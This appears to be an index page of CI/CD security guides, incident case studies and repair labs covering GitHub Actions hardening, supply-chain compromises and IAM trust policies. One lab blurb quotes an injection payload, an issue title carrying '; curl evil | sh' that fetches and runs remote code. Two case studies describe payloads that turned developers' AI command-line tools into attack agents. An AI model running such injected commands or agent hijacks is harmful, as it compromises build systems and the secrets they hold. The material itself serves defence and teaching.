CI/CD security

Place each security control in the pipeline and decide what it blocks

Put secrets scanning, SAST, SCA, IaC and image scanning, DAST, fuzzing, attestation and admission control where each sees the right input, block only on findings a developer can act on, and deploy only images the pipeline has attested.

Testing, Release · Developers, AppSec engineers, Platform engineers and SREs

Protect the path from pull request to release

Separate untrusted contribution checks from privileged release work and verify the identity of the artifact that is actually deployed.

Development, Release · Developers, Platform engineers and SREs

Keep untrusted CI work outside the release boundary

Review workflow authority, persistent state and artifact handoffs before contributor-controlled code reaches privileged jobs.

Development, Release · Developers

Case study: the tj-actions/changed-files compromise (CVE-2025-30066)

In March 2025 an attacker moved the version tags of a popular GitHub Action, and of a reviewdog action before it, to code that printed CI secrets into build logs. This case study traces the token chain back to one pull_request_target workflow, sizes the exposure, and shows how it was caught and which controls held.

Development, Release, Maintenance · Developers, AppSec engineers, Platform engineers and SREs

Case study: the Codecov Bash Uploader compromise (2021)

How a credential leaked through Codecov's Docker image process let an attacker change the Bash Uploader that many CI pipelines downloaded and ran, which sent their environment variables, and the secrets in them, to the attacker for two months in 2021.

Development, Release, Maintenance · AppSec engineers, Platform engineers and SREs

Harden GitHub Actions against workflow and supply-chain attacks

Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.

Development, Release · Developers, AppSec engineers, Platform engineers and SREs

Protect the source repository: rulesets, reviews and signed commits

Configure the controls every repository that ships software needs: protected branches and tags, required review with CODEOWNERS, signed commits, secret push protection and account security, mapped to the SLSA Source track, the OpenSSF OSPS Baseline and Scorecard.

Development, Testing, Release, Security program · Developers, AppSec engineers, Platform engineers and SREs

Meet the OpenSSF OSPS Baseline as a maintainer: the levels, every Level 1 control on GitHub, and the evidence

Walk through the eight control families and three maturity levels of OSPS Baseline v2026.08.28, meet each Level 1 requirement on a GitHub repository, and keep evidence a consumer can check.

Development, Release, Security program · Developers

Review cloud permissions and role trust together

Distinguish who can obtain a cloud identity from what that identity can do, then test the effective access path.

Release, Maintenance · Developers, Platform engineers and SREs

Case study: the CircleCI security incident (January 2023)

How a session stolen from one engineer's laptop reached CircleCI's production systems and customers' stored secrets in 2023, and what platform operators and CI users should change.

Release, Maintenance · Platform engineers and SREs

Workload identity federation: short-lived, scoped identities for services and CI

Trace how a running workload obtains a short-lived identity, write cloud trust policies that match immutable claims instead of names or wildcards, and keep the resulting credential limited by audience and authorization.

Design, Development, Release · Platform engineers and SREs

Case study: the Nx s1ngularity compromise and its AI-assisted payload (2025)

How a pull-request-title injection in a GitHub Actions workflow on an outdated branch gave an attacker the Nx npm token in August 2025, how the malicious versions tried to turn developers' own AI command-line tools into file-search agents, and the workflow, publishing and agent controls that stop the same chain.

Design, Development, Release, Maintenance · Developers, Platform engineers and SREs

Case study: the Amazon Q Developer extension compromise (2025)

How an over-scoped GitHub token, extracted from an AWS CodeBuild pull request build, let a threat actor commit code to the Amazon Q Developer extension for VS Code that shipped in version 1.84.0 in July 2025, why the injected code aimed at the Q Developer CLI failed, and the CI and AI-agent controls the incident argues for.

Design, Development, Testing, Release, Maintenance · Developers, Platform engineers and SREs

Actions injection lab: Flag GitHub Actions expression injection

A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.

IAM trust policy lab: Evaluate a role trust policy against the confused deputy

An evaluator for AWS sts:AssumeRole trust policies matches the principal and action but ignores the Condition block and does not honour an explicit Deny, so a broad principal can assume a role without the external id — the confused deputy. Repair evaluate_trust to enforce conditions and Deny.